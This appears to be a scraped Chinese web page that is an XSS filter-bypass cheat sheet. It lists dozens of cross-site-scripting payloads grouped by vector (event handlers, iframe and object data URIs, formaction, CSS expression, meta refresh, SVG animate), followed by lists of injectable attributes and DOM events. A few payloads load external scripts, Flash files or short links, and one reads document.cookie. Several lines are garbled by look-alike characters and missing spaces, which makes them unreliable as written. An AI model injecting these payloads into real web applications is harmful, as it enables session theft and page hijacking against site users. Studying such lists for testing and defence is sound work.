赞
踩
<img src=x οnerrοr=prompt(1);>
<img/src=aaa.jpg οnerrοr=prompt(1);
<video src=x οnerrοr=prompt(1);>
<audio src=x οnerrοr=prompt(1);>
iframe
<iframesrc="javascript:alert(2)">
<iframe/src="data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==">
Embed
<embed/src=//goo.gl/nlX0P>
Action
<form action="Javascript:alert(1)"><input type=submit>
<isindex action="javascript:alert(1)" type=image>
<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>
<isindex action=data:text/html, type=image>
mario验证
<formaction='data:text/html,<script>alert(1)</script>'><button>CLICK
“formaction”属性
<isindexformaction="javascript:alert(1)" type=image>
<input type="image" formaction=JaVaScript:alert(0)>
<form><button formaction=javascript:alert(1)>CLICKME
“background”属性
<table background=javascript:alert(1)></table> // Works on Opera 10.5 and IE6
“posters” 属性
<video poster=javascript:alert(1)//></video> // Works Upto Opera 10.5
“data”属性
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=">
<object/data=//goo.gl/nlX0P?
“code”属性
<applet code="javascript:confirm(document.cookie);"> // Firefox Only
<embed code="http://businessinfo.co.uk/labs/xss/xss.swf" allowscriptaccess=always>
|
<svg/οnlοad=prompt(1);>
<marquee/onstart=confirm(2)>/
<bodyοnlοad=prompt(1);>
<selectautofocusοnfοcus=alert(1)>
<textareaautofocusοnfοcus=alert(1)>
<keygenautofocusοnfοcus=alert(1)>
<video><sourceοnerrοr="javascript:alert(1)">
短payload
<q/oncut=open()>
<q/oncut=alert(1)>//Usefulin-caseofpayloadrestrictions.
|
<a οnmοuseοver="javascript:window.οnerrοr=alert;throw 1>
<img src=x οnerrοr="javascript:window.οnerrοr=alert;throw 1">
<body/οnlοad=javascript:window.οnerrοr=eval;throw'=alert\x281\x29';
Expression 属性
<img style="xss:expression(alert(0))"> // Works upto IE7.
<div style="color:rgb(''x:expression(alert(1))"></div> // Works upto IE7.
<style>#test{x:expression(alert(/XSS/))}</style> // Works upto IE7
“location”属性
<a οnmοuseοver=location=’javascript:alert(1)>click
<body οnfοcus="location='javascrpt:alert(1) >123
|
<meta http-equiv="refresh" content="0;url=//goo.gl/nlX0P">
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>
<svg xmlns="http://www.w3.org/2000/svg"><g οnlοad="javascript:\u0061lert(1);"></g></svg> // By @secalert
<svg xmlns:xlink=" r=100 /><animate attributeName="xlink:href" values=";javascript:alert(1)" begin="0s" dur="0.1s" fill="freeze"/> // By Mario
<svg><![CDATA[><imagexlink:href="]]><img/src=xx:xοnerrοr=alert(2)//"</svg> // By @secalert
<meta content="
 1 
;JAVASCRIPT: alert(1)" http-equiv="refresh"/>
<math><a xlink:href="//jsfiddle.net/t846h/">click // By Ashar Javed
();:被过滤
<svg><script>alert(/1/)</script> // Works With All Browsers
( is html encoded to (
) is html encoded to )
|
href=
action=
formaction=
location=
on*=
name=
background=
poster=
src=
code=
data= //只支持base64
|
DOMAttrModified
DOMCharacterDataModified
DOMFocusIn
DOMFocusOut
DOMMouseScroll
DOMNodeInserted
DOMNodeInsertedIntoDocument
DOMNodeRemoved
DOMNodeRemovedFromDocument
DOMSubtreeModified
|
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。